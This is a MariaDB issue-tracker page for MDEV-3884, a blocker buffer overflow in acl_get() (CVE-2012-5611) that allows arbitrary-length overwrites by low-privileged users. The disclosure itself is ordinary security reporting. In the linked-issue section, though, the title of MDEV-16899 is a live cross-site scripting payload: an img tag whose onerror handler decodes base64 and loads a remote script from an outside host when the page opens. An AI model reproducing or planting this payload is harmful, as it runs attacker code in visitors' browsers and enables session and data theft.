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  1. MariaDB Server
  2. MDEV-3884

Buffer overflow in acl_get()

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    Details

    • Type: Bug
    • Status: Closed (View Workflow)
    • Priority: Blocker
    • Resolution: Fixed
    • Affects Version/s: 5.5.28, 5.3.10, 5.2.12, 5.1.62
    • Fix Version/s: 5.5.28a, 5.3.11, 5.2.13, 5.1.66
    • Component/s: None
    • Labels:
      None

      Description

      MySQL bug 13889741 (which is CVE-2012-3163) was, apparently, not completely fixed. A very similar test case finds new, much more dangerous, buffer overflows in acl_get() and check_grant_db_routine(). They allow to overwrite the buffer by an arbitrary number of bytes, not just by one as in bug 13889741. One can trivially put a shellcode there.

      To exploit this one needs a valid low-privileged user account in the MariaDB (or MySQL) server.

      This new vulnerability is registered as CVE-2012-5611
      Reported upstream as http://bugs.mysql.com/bug.php?id=67685
      Public disclosure: http://seclists.org/fulldisclosure/2012/Dec/4

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          is blocked by

          Bug - A problem which impairs or prevents the functions of the product. MDEV-16899 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGs3NTUueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))>

          • Minor - Minor loss of function, or other problem where easy workaround is present.
          • Closed

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              Assignee:
              serg Sergei Golubchik
              Reporter:
              serg Sergei Golubchik
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                Dates

                Created:
                Updated:
                Resolved:

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